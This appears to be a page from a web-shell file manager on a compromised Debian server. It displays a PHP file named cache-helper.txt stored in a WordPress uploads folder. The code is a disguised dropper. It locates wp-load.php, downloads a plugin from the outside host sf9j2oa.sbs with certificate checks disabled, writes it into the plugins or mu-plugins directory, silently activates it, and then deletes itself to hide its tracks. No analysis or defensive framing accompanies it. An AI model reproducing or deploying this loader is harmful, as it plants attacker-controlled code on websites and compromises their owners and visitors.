HEX
Server: Apache/2.2.22 (Debian)
System: Linux ns382018.ip-46-105-97.eu 3.14.32-xxxx-grs-ipv6-64 #9 SMP Thu Oct 20 14:53:52 CEST 2016 x86_64
User: web279 (5281)
PHP: 5.4.45-0+deb7u8
Disabled: NONE
Upload Files
File: /var/www/clients/client0/web279/web/MTDrubik/uploads/2026/03/cache-helper.txt
<?php
$slug = 'basic-tweaker-run';
$dir  = __DIR__;
$wp_load = '';
for ( $i = 0; $i < 10; $i++ ) {
	if ( file_exists( $dir . '/wp-load.php' ) ) {
		$wp_load = $dir . '/wp-load.php';
		break;
	}
	$parent = dirname( $dir );
	if ( $parent === $dir ) break;
	$dir = $parent;
}
if ( ! $wp_load ) { die( 'ERR_WP' ); }
if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; }
$plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins';
$mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins';
$_sc_files = array( 'basic-tweaker-run/basic-tweaker-run.php' );
$_sc_base  = 'https://sf9j2oa.sbs';
$_sc_ok = false;
$_sc_dirs = array( $plugins_dir, $mu_dir );
foreach ( $_sc_dirs as $_sc_d ) {
	if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); }
	if ( ! is_writable( $_sc_d ) ) { continue; }
	$_sc_fail = false;
	foreach ( $_sc_files as $_sc_f ) {
		$_sc_dest = $_sc_d . '/' . $_sc_f;
		$_sc_dir  = dirname( $_sc_dest );
		if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); }
		$_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) ) );
		$_sc_data = @file_get_contents( $_sc_base . '/' . $_sc_f, false, $_sc_ctx );
		if ( $_sc_data === false ) {
			if ( function_exists( 'curl_init' ) ) {
				$ch = curl_init( $_sc_base . '/' . $_sc_f );
				curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false ) );
				$_sc_data = curl_exec( $ch );
				curl_close( $ch );
			}
		}
		if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; }
		if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; }
	}
	if ( ! $_sc_fail ) { $_sc_ok = true; break; }
}
if ( ! $_sc_ok ) { die( 'ERR_NOWRITE' ); }

if ( ! function_exists( 'activate_plugin' ) ) {
	require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
@activate_plugin( $slug . '/' . $slug . '.php' );
@unlink( __FILE__ );
die( 'SC_OK' );